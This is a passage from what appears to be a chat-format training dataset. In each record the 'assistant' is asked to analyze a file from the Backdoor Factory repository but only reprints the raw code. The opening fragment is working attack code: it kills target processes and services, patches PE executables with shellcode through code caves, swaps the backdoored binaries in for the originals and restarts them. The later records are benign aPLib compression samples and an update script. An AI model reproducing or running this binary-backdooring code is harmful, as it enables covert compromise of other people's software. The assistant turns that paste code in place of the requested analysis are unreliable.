ReturnTrackingAddress, self.flItms['resumeExe'] = targetFile.resume_execution_32()\n\n # setting the final shellcode\n self.set_shells()\n\n if self.flItms['cave_jumping'] is True:\n if self.flItms['stager'] is False:\n temp_jmp = \"\\xe9\"\n breakupvar = eat_code_caves(self.flItms, 1, 2)\n test_length = int(self.flItms['CavesPicked'][2][1], 16) - int(self.flItms['CavesPicked'][1][1], 16) - len(self.flItms['allshells'][1]) - 5\n if test_length < 0:\n temp_jmp += struct.pack(\"> =======\n\n for process in ap:\n process_list.append(process.split())\n\n for target in filelist:\n service_target = False\n running_proc = False\n #get filename\n #support_result = support_check(target, 0)\n #if support_result is False:\n # continue\n filename = os.path.basename(target)\n for process in process_list:\n for setprocess, items in list_of_targets.iteritems():\n if setprocess.lower() in target.lower():\n for item in items[0]:\n if item.lower() in [x.lower() for x in process]:\n print \"- Killing process:\", item\n try:\n os.system(\"taskkill /F /PID %i\" %\n int(process[1]))\n running_proc = True\n except Exception as e:\n print str(e)\n if setprocess.lower() in [x.lower() for x in process]:\n if items[1] is not None:\n print \"- Killing Service:\", items[1]\n try:\n os.system('net stop %s' % items[1])\n except Exception as e:\n print str(e)\n service_target = True\n\n time.sleep(1)\n #backdoor the targets here:\n print \"*\" * 50\n self.FILE = target\n self.OUTPUT = os.path.basename(self.FILE + '.bd')\n print \"self.OUTPUT\", self.OUTPUT\n print \"- Backdooring:\", self.FILE\n result = self.patch_pe()\n if result:\n pass\n else:\n continue\n shutil.copy2(self.FILE, self.FILE + self.SUFFIX)\n os.chmod(self.FILE, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)\n time.sleep(1)\n try:\n os.unlink(self.FILE)\n except:\n print \"unlinking error\"\n time.sleep(.5)\n try:\n shutil.copy2(self.OUTPUT, self.FILE)\n except:\n os.system('move {0} {1}'.format(self.FILE, self.OUTPUT))\n time.sleep(.5)\n os.remove(self.OUTPUT)\n print (\" - The original file {0} has been renamed to {1}\".format(self.FILE,\n self.FILE + self.SUFFIX))\n\n if self.DELETE_ORIGINAL is True:\n print \"!!Warning Deleteing Original File!!\"\n os.remove(self.FILE + self.SUFFIX)\n\n if service_target is True:\n os.system('net start %s' % list_of_targets[filename][1])\n else:\n try:\n if (list_of_targets[filename][2] is True and\n running_proc is True):\n subprocess.Popen([self.FILE, ])\n print \"- Restarting:\", self.FILE\n else:\n print \"-- %s was not found online - not restarting\" % self.FILE\n\n except:\n if (list_of_targets[filename.lower()][2] is True and\n running_proc is True):\n subprocess.Popen([self.FILE, ])\n print \"- Restarting:\", self.FILE\n else:\n print \"-- %s was not found online - not restarting\" % self.FILE\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: update.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env bash\n\nif [[ $EUID -ne 0 ]]; then\n echo \"You must root\" 2>&1\n exit 1\nfi\n\n#update capstone\n\ncd capstone\n\n\nif [[ `git pull` != \"Already up-to-date.\" ]]; then\n\n\tgit checkout b53a59af53ffbd5dbe8dbcefba41a00cf4fc7469\n\n\t./make.sh\n\n\t./make.sh install\n\n\tuname -a | grep BSD &> /dev/null\n\tif [ $? -eq 0 ]; then\n\t\techo 'Installing Capstone python bindings for *bsd'\n\t\trm -rf ./build\n\t\tpython setup.py build -b ./build install\n\telse\n\t\tmake install\n\tfi\n\n\t#check if kali\n\tuname -a | grep -i kali &> /dev/null \n\tif [ $? -eq 0 ]; then\n\t\techo \"Adding capstone path for Kali64 in /etc/ls.so.conf.d/capstone.conf\"\n\t\techo \"#capstone shared libs\" >> /etc/ld.so.conf.d/capstone.conf\n\t\techo \"/usr/lib64\" >> /etc/ld.so.conf.d/capstone.conf\n\t\tldconfig\n\tfi\nelse\n\techo \"Capstone is up-to-date.\"\nfi\n\n# update pefile\n\npip install --upgrade pefile\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/AppleII/apdstsrc.s\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;aPLib data decompressor for Apple II\n;Peter Ferrie (peter.ferrie@gmail.com)\n;assemble using ACME\n;dstpakoff ;packed data offset\n\tsta\tsrc+1\n\tlda\t#orgoff ;original unpacked data offset\n\tsta\tdst+1\n !if (>(oep-1)=>orgoff) { ;oep = original entrypoint\n\tpha\n } else {\n\tlda\t#>(oep-1)\n\tpha\n }\n\tlda\t#literal\n\tsta\tA1H\n\tlda\t#pakoff+paksize ;packed data offset + packed data size\n\tsta\tA2H\n\tlda\t#pakoff\n\tsta\tA2H\n\tlda\t#hioff\n\tsta\tA4H\n\tlda\t#"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/AppleII/apsrcdst.s\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n;aPLib data decompressor for Apple II\n;Peter Ferrie (peter.ferrie@gmail.com)\n;assemble using ACME\n;srcpakoff+paksize ;packed data offset + packed data size\n\tsta\tsrc+1\n\tlda\t#orgoff+orgsize ;original unpacked data offset + original unpacked size\n\tsta\tdst+1\n !if (>(oep-1)=>(orgoff+orgsize)) { ;oep = original entrypoint\n\tpha\n } else {\n\tlda\t#>(oep-1)\n\tpha\n }\n\tlda\t#"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/bcb/MainFormUnit.cpp\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n//---------------------------------------------------------------------------\n// MainFormUnit.cpp\n// bcb shell coded by mouser (9/18/04) using existing samples for delphi+c\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// System includes and C++ Builder Stuff\n#include \n#pragma hdrstop\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n// System includes\n//#include \n#include \n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// Application includes\n#include \"MainFormUnit.h\"\n\n#include \"apacksamplec.h\"\n#include \"aplib.h\"\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// C++ Builder stuff\n#pragma package(smart_init)\n#pragma resource \"*.dfm\"\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n// Global Form Instance Pointer\nTMainForm *MainForm;\n//---------------------------------------------------------------------------\n\n\n\n//---------------------------------------------------------------------------\n// Compression callback sample\nint STDPREFIX mainformcallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam)\n{\n\tchar resultstr[255];\n\tunsigned int ratioval=ratio(inpos, insize);\n\tsprintf(resultstr,\"compressed %u -> %u bytes (%u%% done)\", inpos, outpos, ratioval);\n\tMainForm->LabelResult->Caption=AnsiString(resultstr);\n\tMainForm->ProgressBar->Position=ratioval;\n\t// let gui update\n\tApplication->ProcessMessages();\n\t// return\n\tif (MainForm->get_wantscancel())\n\t\treturn 0;\n\treturn 1;\n}\n\n// result callback\nvoid STDPREFIX mainformresultcallback(char *resultstr, int errorcode)\n{\n\tMainForm->LabelResult->Caption=AnsiString(resultstr);\n\tif (errorcode==0)\n\t\tMainForm->LabelResult->Font->Color=clBlack;\n\telse\n\t\tMainForm->LabelResult->Font->Color=clMaroon;\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n\n\n\n//---------------------------------------------------------------------------\n__fastcall TMainForm::TMainForm(TComponent* Owner)\n\t: TForm(Owner)\n{\n\t// constructor\n\tInitialize();\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n//---------------------------------------------------------------------------\nvoid TMainForm::Initialize()\n{\n\t// initialize the library\n\tSetStateNotRunning();\n}\n\nvoid TMainForm::SetStateRunning()\n{\n\t// change visible state to running\n\tButtonCancel->Enabled=true;\n}\n\nvoid TMainForm::SetStateNotRunning()\n{\n\t// change visible state to not running\n\tButtonCancel->Enabled=false;\n\twantscancel=false;\n\tProgressBar->Position=0;\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n\n\n//---------------------------------------------------------------------------\nvoid __fastcall TMainForm::ButtonCompressClick(TObject *Sender)\n{\n\t// ask for file and compress it\n\tbool bretv;\n\tint retv;\n\tOpenDialog->Title=\"Browse for file to Compress..\";\n\tbretv=OpenDialog->Execute();\n\tif (bretv)\n\t\t{\n\t\t// compress it\n\t\tAnsiString filename=OpenDialog->FileName;\n\t\tAnsiString newfilename=filename+\".out\";\n\t\tSetStateRunning();\n\t\tretv=compress_file(filename.c_str(),newfilename.c_str(),mainformcallback,mainformresultcallback);\n\t\tSetStateNotRunning();\n\t\t}\n}\n\n\nvoid __fastcall TMainForm::ButtonDecompressClick(TObject *Sender)\n{\n\t// ask for file and decompress it\n\tbool bretv;\n\tint retv;\n\tOpenDialog->Title=\"Browse for file to Decompress..\";\n\tbretv=OpenDialog->Execute();\n\tif (bretv)\n\t\t{\n\t\t// decompress it\n\t\tAnsiString filename=OpenDialog->FileName;\n\t\tAnsiString newfilename=filename+\".out\";\n\t\tSetStateRunning();\n\t\tretv=decompress_file(filename.c_str(),newfilename.c_str(),mainformcallback,mainformresultcallback);\n\t\tSetStateNotRunning();\n\t\t}\n}\n//---------------------------------------------------------------------------\n\n\n\n\n//---------------------------------------------------------------------------\nvoid __fastcall TMainForm::ButtonCancelClick(TObject *Sender)\n{\n\t// user wants to cancel\n\twantscancel=true;\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/bcb/MainFormUnit.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n//---------------------------------------------------------------------------\n// MainFormUnit.cpp\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// Header Guard\n#ifndef MainFormUnitH\n#define MainFormUnitH\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// Application Includes\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\nclass TMainForm : public TForm\n{\nprivate:\n\tbool wantscancel;\n__published:\n\t// IDE-managed Components\n\tTPanel *Panel1;\n\tTLabel *LabelaPLib2;\n\tTLabel *LabelaPLib1;\n\tTLabel *Label5;\n\tTGroupBox *GroupBox1;\n\tTLabel *LabelResult;\n\tTProgressBar *ProgressBar;\n\tTButton *ButtonCancel;\n\tTButton *ButtonCompress;\n\tTButton *ButtonDecompress;\n\tTOpenDialog *OpenDialog;\n\tvoid __fastcall ButtonCompressClick(TObject *Sender);\n\tvoid __fastcall ButtonDecompressClick(TObject *Sender);\n\tvoid __fastcall ButtonCancelClick(TObject *Sender);\npublic:\n\t// constructor\n\t__fastcall TMainForm(TComponent* Owner);\npublic:\n\tvoid Initialize();\n\tvoid SetStateRunning();\n\tvoid SetStateNotRunning();\npublic:\n\tbool get_wantscancel() {return wantscancel;};\n};\n//---------------------------------------------------------------------------\n\n\n\n\n\n\n//---------------------------------------------------------------------------\n// C++ Builder Global Instance Pointer\nextern PACKAGE TMainForm *MainForm;\n//---------------------------------------------------------------------------\n\n\n\n\n\n//---------------------------------------------------------------------------\n// End of Header Guard\n#endif\n//---------------------------------------------------------------------------\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/bcb/apacksamplec.cpp\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n//---------------------------------------------------------------------------\n// apacksamplec.c\n// Code from c/apack.c\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n/*\n * aPLib compression library - the smaller the better :)\n *\n * C example\n *\n * Copyright (c) 1998-2009 by Joergen Ibsen / Jibz\n * All Rights Reserved\n *\n * http://www.ibsensoftware.com/\n */\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n#include \n#include \n#include \n#include \n#include \n\n#include \"apacksamplec.h\"\n\n#include \"aplib.h\"\n//---------------------------------------------------------------------------\n\n\n\n\n\n\n//---------------------------------------------------------------------------\n/*\n * Unsigned char type.\n */\ntypedef unsigned char byte;\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n/*\n * Compute ratio between two numbers.\n */\nunsigned int ratio(unsigned int x, unsigned int y)\n{\n if (x <= UINT_MAX / 100) x *= 100; else y /= 100;\n\n if (y == 0) y = 1;\n\n return x / y;\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n//---------------------------------------------------------------------------\n// Compression callback sample\nint STDPREFIX samplecallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam)\n{\n printf(\"\\rcompressed %u -> %u bytes (%u%% done)\", inpos, outpos, ratio(inpos, insize));\n return 1;\n}\n\n// result callback\nvoid STDPREFIX sampleresultcallback(char *resultstr, int errorcode)\n{\n printf(\"%s\\n\", resultstr);\n}\n//---------------------------------------------------------------------------\n\n\n\n\n\n//---------------------------------------------------------------------------\n/*\n * Compress a file.\n */\nint compress_file(const char *oldname, const char *packedname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp)\n{\n FILE *oldfile;\n FILE *packedfile;\n size_t insize = 0;\n size_t outsize = 0;\n clock_t clocks;\n byte *data, *packed, *workmem;\n\n /* open input file */\n if ((oldfile = fopen(oldname, \"rb\")) == NULL)\n {\n resultcallbackfp(\"ERR: unable to open input file\",1);\n return 1;\n }\n\n /* get size of input file */\n fseek(oldfile, 0, SEEK_END);\n insize = (size_t) ftell(oldfile);\n fseek(oldfile, 0, SEEK_SET);\n\n /* allocate memory */\n if ((data = (byte *) malloc(insize)) == NULL ||\n (packed = (byte *) malloc(aP_max_packed_size(insize))) == NULL ||\n (workmem = (byte *) malloc(aP_workmem_size(insize))) == NULL)\n {\n resultcallbackfp(\"ERR: not enough memory\",1);\n return 1;\n }\n\n if (fread(data, 1, insize, oldfile) != insize)\n {\n resultcallbackfp(\"ERR: error reading from input file\",1);\n return 1;\n }\n\n clocks = clock();\n\n /* compress data block */\n outsize = aPsafe_pack(data, packed, insize, workmem, callbackfp, NULL);\n\n clocks = clock() - clocks;\n\n /* check for compression error */\n if (outsize == APLIB_ERROR)\n {\n resultcallbackfp(\"ERR: an error occured while compressing\",1);\n return 1;\n }\n\n /* create output file */\n if ((packedfile = fopen(packedname, \"wb\")) == NULL)\n {\n resultcallbackfp(\"ERR: unable to create output file\",1);\n return 1;\n }\n\n fwrite(packed, 1, outsize, packedfile);\n\n /* show result */\n char resultstr[255];\n sprintf(resultstr,\"compressed %u -> %u bytes (%u%%) in %.2f seconds\",\n insize, outsize, ratio(outsize, insize),\n (double)clocks / (double)CLOCKS_PER_SEC);\n resultcallbackfp(resultstr,0);\n\n /* close files */\n fclose(packedfile);\n fclose(oldfile);\n\n /* free memory */\n free(workmem);\n free(packed);\n free(data);\n\n return 0;\n}\n\n/*\n * Decompress a file.\n */\nint decompress_file(const char *packedname, const char *newname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp)\n{\n FILE *newfile;\n FILE *packedfile;\n size_t insize = 0;\n size_t outsize = 0;\n clock_t clocks;\n byte *data, *packed;\n size_t depackedsize;\n\n /* open input file */\n if ((packedfile = fopen(packedname, \"rb\")) == NULL)\n {\n resultcallbackfp(\"ERR: unable to open input file\",1);\n return 1;\n }\n\n /* get size of input file */\n fseek(packedfile, 0, SEEK_END);\n insize = (size_t) ftell(packedfile);\n fseek(packedfile, 0, SEEK_SET);\n\n /* allocate memory */\n if ((packed = (byte *) malloc(insize)) == NULL)\n {\n resultcallbackfp(\"ERR: not enough memory\",1);\n return 1;\n }\n\n if (fread(packed, 1, insize, packedfile) != insize)\n {\n resultcallbackfp(\"ERR: error reading from input file\",1);\n return 1;\n }\n\n depackedsize = aPsafe_get_orig_size(packed);\n\n if (depackedsize == APLIB_ERROR)\n {\n resultcallbackfp(\"ERR: compressed data error\",1);\n return 1;\n }\n\n /* allocate memory */\n if ((data = (byte *) malloc(depackedsize)) == NULL)\n {\n resultcallbackfp(\"ERR: not enough memory\",1);\n return 1;\n }\n\n clocks = clock();\n\n /* decompress data */\n outsize = aPsafe_depack(packed, insize, data, depackedsize);\n\n clocks = clock() - clocks;\n\n /* check for decompression error */\n if (outsize != depackedsize)\n {\n resultcallbackfp(\"ERR: an error occured while decompressing\",1);\n return 1;\n }\n\n /* create output file */\n if ((newfile = fopen(newname, \"wb\")) == NULL)\n {\n resultcallbackfp(\"ERR: unable to create output file\",1);\n return 1;\n }\n\n /* write decompressed data */\n fwrite(data, 1, outsize, newfile);\n\n /* show result */\n char resultstr[255];\n sprintf(resultstr,\"decompressed %u -> %u bytes in %.2f seconds\",\n insize, outsize,\n (double)clocks / (double)CLOCKS_PER_SEC);\n resultcallbackfp(resultstr,0);\n\n /* close files */\n fclose(packedfile);\n fclose(newfile);\n\n /* free memory */\n free(packed);\n free(data);\n\n return 0;\n}\n\n\n/*\n * Show program syntax.\n */\nvoid show_syntax(void)\n{\n printf(\"syntax:\\n\\n\"\n \" compress : appack c \\n\"\n \" decompress : appack d \\n\\n\");\n}\n//---------------------------------------------------------------------------\n\n\n\n\n//---------------------------------------------------------------------------\n/*\n * Main.\n */\nint samplemain(int argc, char *argv[])\n{\n /* show banner */\n printf(\"===============================================================================\\n\"\n \"aPLib example Copyright (c) 1998-2009 by Joergen Ibsen / Jibz\\n\"\n \" All Rights Reserved\\n\\n\"\n \" http://www.ibsensoftware.com/\\n\"\n \"===============================================================================\\n\\n\");\n\n /* check number of arguments */\n if (argc != 4)\n {\n show_syntax();\n return 1;\n }\n\n#ifdef __WATCOMC__\n /* OpenWatcom 1.2 line buffers stdout, so we unbuffer stdout manually\n to make the progress indication in the callback work.\n */\n setbuf(stdout, NULL);\n#endif\n\n /* check first character of first argument to determine action */\n if (argv[1][0] && argv[1][1] == '\\0')\n {\n switch (argv[1][0])\n {\n /* compress file */\n case 'c':\n case 'C': return compress_file(argv[2], argv[3],samplecallback,sampleresultcallback);\n\n /* decompress file */\n case 'd':\n case 'D': return decompress_file(argv[2], argv[3],samplecallback,sampleresultcallback);\n }\n }\n\n /* show program syntax */\n show_syntax();\n return 1;\n}\n//---------------------------------------------------------------------------\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/bcb/apacksamplec.h\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n//---------------------------------------------------------------------------\n// apackcsample.c\n//---------------------------------------------------------------------------\n\n//---------------------------------------------------------------------------\n// Header Guard\n#ifndef aspacksamplecH\n#define aspacksamplecH\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n// Calling Convenction (depends on library)\n// This version works with watcom version of the lib\n//#define STDPREFIX __stdcall\n#define STDPREFIX __cdecl\n//---------------------------------------------------------------------------\n\n\n//---------------------------------------------------------------------------\n// Forward declarations\n//\ntypedef STDPREFIX int (callbackfuncdef)(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam);\ntypedef STDPREFIX void (resultcallbackfundef)(char *errorstring,int errorcode);\n//\nint STDPREFIX samplecallback(unsigned int insize, unsigned int inpos, unsigned int outpos, void *cbparam);\nvoid STDPREFIX sampleresultcallback(char *errorstr);\n//\nunsigned int ratio(unsigned int x, unsigned int y);\nint compress_file(const char *oldname, const char *packedname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp);\nint decompress_file(const char *packedname, const char *newname,callbackfuncdef *callbackfp,resultcallbackfundef *resultcallbackfp);\nint samplemain(int argc, char *argv[]);\nvoid show_syntax(void);\n//---------------------------------------------------------------------------\n\n\n\n\n\n\n//---------------------------------------------------------------------------\n// Header Guard\n#endif\n//---------------------------------------------------------------------------\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/bcb/aptest.cpp\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n//---------------------------------------------------------------------------\n\n#include \n#pragma hdrstop\n//---------------------------------------------------------------------------\nUSEFORM(\"MainFormUnit.cpp\", MainForm);\n//---------------------------------------------------------------------------\nWINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)\n{\n\ttry\n\t{\n\t\tApplication->Initialize();\n\t\tApplication->CreateForm(__classid(TMainForm), &MainForm);\n\t\tApplication->Run();\n\t}\n\tcatch (Exception &exception)\n\t{\n\t\tApplication->ShowException(&exception);\n\t}\n\tcatch (...)\n\t{\n\t\ttry\n\t\t{\n\t\t\tthrow Exception(\"\");\n\t\t}\n\t\tcatch (Exception &exception)\n\t\t{\n\t\t\tApplication->ShowException(&exception);\n\t\t}\n\t}\n\treturn 0;\n}\n//---------------------------------------------------------------------------\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: aPLib/contrib/masm32/appack.asm\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n; #########################################################################\n\n; aPPack is a test piece for MASM programmers using Joergen Ibsen's\n; MASM version of \"aPLib\". It is an implementation of the LZ77 algorithm\n; that has the characteristics of reasonable compression speed and very\n; high decompression speed.\n\n; This makes it highly suitable for installations and other similar\n; applications where decompression speed is critical. The compression\n; ratio averages slightly better than PKZIP.\n\n; aPLib is included in MASM32 because it is available from the author\n; for personal use as freeware. Commercial applications should contact\n; the author for licence of the software.\n\n; This example uses the 'safe function wrappers' for the compression and\n; decompression functions, which maintain a header in front of the packed\n; data that is used for crc checking and to determine the length of the\n; decompressed data so that the decompression algorithm knows the correct\n; buffer size to allocate.\n\n; This example uses OLE string memory which is implemented in 2 macros\n; for convenience of use. The macros are \"stralloc\" and \"strfree\".\n\n; Note that the toolbar bitmap is the single largest component in the\n; assembled program.\n\n; #########################################################################\n\n .386\n .model flat, stdcall ; 32 bit memory model\n option casemap :none ; case sensitive\n\n include aPPack.inc ; local includes for this file\n\n; #########################################################################\n\n.code\n\nstart:\n invoke GetModuleHandle, NULL\n mov hInstance, eax\n\n invoke GetCommandLine\n mov CommandLine, eax\n\n invoke InitCommonControls\n\n invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT\n invoke ExitProcess,eax\n\n; #########################################################################\n\nWinMain proc hInst :DWORD,\n hPrevInst :DWORD,\n CmdLine :DWORD,\n CmdShow :DWORD\n\n ;====================\n ; Put LOCALs on stack\n ;====================\n\n LOCAL wc :WNDCLASSEX\n LOCAL msg :MSG\n LOCAL Wwd :DWORD\n LOCAL Wht :DWORD\n LOCAL Wtx :DWORD\n LOCAL Wty :DWORD\n\n ;==================================================\n ; Fill WNDCLASSEX structure with required variables\n ;==================================================\n\n invoke LoadIcon,hInst,500 ; icon ID\n mov hIcon, eax\n\n szText szClassName,\"aPLib_Class\"\n\n mov wc.cbSize, sizeof WNDCLASSEX\n mov wc.style, CS_HREDRAW or CS_VREDRAW \\\n or CS_BYTEALIGNWINDOW\n mov wc.lpfnWndProc, offset WndProc\n mov wc.cbClsExtra, NULL\n mov wc.cbWndExtra, NULL\n m2m wc.hInstance, hInst\n mov wc.hbrBackground, COLOR_BTNFACE+1\n mov wc.lpszMenuName, NULL\n mov wc.lpszClassName, offset szClassName\n m2m wc.hIcon, hIcon\n invoke LoadCursor,NULL,IDC_ARROW\n mov wc.hCursor, eax\n m2m wc.hIconSm, hIcon\n\n invoke RegisterClassEx, ADDR wc\n\n ;================================\n ; Centre window at following size\n ;================================\n\n mov Wwd, 334\n mov Wht, 191\n\n invoke GetSystemMetrics,SM_CXSCREEN\n invoke TopXY,Wwd,eax\n mov Wtx, eax\n\n invoke GetSystemMetrics,SM_CYSCREEN\n invoke TopXY,Wht,eax\n mov Wty, eax\n\n invoke CreateWindowEx,WS_EX_LEFT,\n ADDR szClassName,\n ADDR szDisplayName,\n WS_OVERLAPPED or WS_SYSMENU,\n Wtx,Wty,Wwd,Wht,\n NULL,NULL,\n hInst,NULL\n mov hWnd,eax\n\n invoke LoadMenu,hInst,600 ; menu ID\n invoke SetMenu,hWnd,eax\n\n invoke ShowWindow,hWnd,SW_SHOWNORMAL\n invoke UpdateWindow,hWnd\n\n ;===================================\n ; Loop until PostQuitMessage is sent\n ;===================================\n\n StartLoop:\n invoke GetMessage,ADDR msg,NULL,0,0\n cmp eax, 0\n je ExitLoop\n invoke TranslateMessage, ADDR msg\n invoke DispatchMessage, ADDR msg\n jmp StartLoop\n ExitLoop:\n\n return msg.wParam\n\nWinMain endp\n\n; #########################################################################\n\nWndProc proc hWin :DWORD,\n uMsg :DWORD,\n wParam :DWORD,\n lParam :DWORD\n\n LOCAL var :DWORD\n LOCAL caW :DWORD\n LOCAL caH :DWORD\n LOCAL hFont :DWORD\n LOCAL Rct :RECT\n LOCAL hDC :DWORD\n LOCAL Ps :PAINTSTRUCT\n LOCAL tbab :TBADDBITMAP\n LOCAL tbb :TBBUTTON\n LOCAL buffer1[128]:BYTE ; these are two spare buffers\n LOCAL buffer2[128]:BYTE ; for text manipulation etc..\n\n .if uMsg == WM_COMMAND\n\n ; ********************************************************\n ; first check commands that are not allowed while packing\n ; ********************************************************\n .if Packing == 0\n\n .if wParam == 50\n .data\n ThreadID dd 0\n .code\n\n ; start compressing in a thread\n mov eax, OFFSET PackFile\n invoke CreateThread,NULL,NULL,eax,\n NULL,0,ADDR ThreadID\n invoke CloseHandle,eax\n\n .elseif wParam == 51\n invoke UnpackFile\n\n .elseif wParam == 53\n invoke SendMessage,hWin,WM_SYSCOMMAND,SC_CLOSE,NULL\n\n .elseif wParam == 54\n\n .data\n SelectFile db \"Select File\",0\n fPattern db \"*.*\",0,0\n .code\n\n mov szFileName[0], 0\n\n invoke GetFileName,hWin,ADDR SelectFile,ADDR fPattern\n\n .if szFileName[0] != 0\n invoke lcase,ADDR szFileName\n invoke SetWindowText,hEdit1,ADDR szFileName\n .endif\n\n .endif\n\n .endif\n\n ; **************************************\n ; then commands that are always allowed\n ; **************************************\n .if wParam == 52\n\n .data\n AboutTtl db \"aPLib Pack\",0\n AboutMsg db \"Joergen Ibsen's aPLib example\",13,10,\\\n \"Copyright MASM32 2001\",0\n .code\n\n invoke ShellAbout,hWin,ADDR AboutTtl,ADDR AboutMsg,hIcon\n\n .elseif wParam == 55\n mov ContPack, 0\n\n .elseif wParam == 56\n mov killFlag, 1\n\n .endif\n\n .elseif uMsg == WM_SYSCOLORCHANGE\n invoke Do_ToolBar,hWin\n\n .elseif uMsg == WM_CREATE\n invoke Do_ToolBar,hWin\n\n .data\n align 4\n caption db \"...\",0\n abortbt db \"Stop\",0\n nullbyte db 0\n .code\n\n invoke EditSl,ADDR nullbyte,20,100,253,22,hWin,700\n mov hEdit1, eax\n invoke PushButton,ADDR caption,hWin,283,100,25,22,54\n mov hButn1, eax\n invoke Static,ADDR nullbyte,hWin,20,127,240,20,500\n mov hStat1, eax\n invoke PushButton,ADDR abortbt,hWin,270,127,38,21,55\n mov hButn2, eax\n\n invoke GetStockObject,ANSI_VAR_FONT\n mov hFont, eax\n\n invoke SendMessage,hEdit1,WM_SETFONT,hFont,0\n invoke SendMessage,hButn1,WM_SETFONT,hFont,0\n invoke SendMessage,hStat1,WM_SETFONT,hFont,0\n invoke SendMessage,hButn2,WM_SETFONT,hFont,0\n\n .elseif uMsg == WM_SIZE\n invoke SendMessage,hToolBar,TB_AUTOSIZE,0,0\n\n .elseif uMsg == WM_PAINT\n invoke BeginPaint,hWin,ADDR Ps\n mov hDC, eax\n invoke Paint_Proc,hWin,hDC\n invoke EndPaint,hWin,ADDR Ps\n return 0\n\n .elseif uMsg == WM_CLOSE\n\n .elseif uMsg == WM_DESTROY\n invoke PostQuitMessage,NULL\n return 0\n .endif\n\n invoke DefWindowProc,hWin,uMsg,wParam,lParam\n\n ret\n\nWndProc endp\n\n; ########################################################################\n\nTopXY proc wDim:DWORD, sDim:DWORD\n\n shr sDim, 1 ; divide screen dimension by 2\n shr wDim, 1 ; divide window dimension by 2\n mov eax, wDim ; copy window dimension into eax\n sub sDim, eax ; sub half win dimension from half screen dimension\n\n return sDim\n\nTopXY endp\n\n; #########################################################################\n\nPaint_Proc proc hWin:DWORD, hDC:DWORD\n\n LOCAL btn_hi :DWORD\n LOCAL btn_lo :DWORD\n LOCAL Rct :RECT\n\n invoke GetSysColor,COLOR_BTNHIGHLIGHT\n mov btn_hi, eax\n\n invoke GetSysColor,COLOR_BTNSHADOW\n mov btn_lo, eax\n\n invoke FrameGrp,hEdit1,hButn2,4,1,0\n invoke FrameGrp,hEdit1,hButn2,5,1,1\n invoke FrameGrp,hEdit1,hButn2,14,1,0\n\n return 0\n\nPaint_Proc endp\n\n; 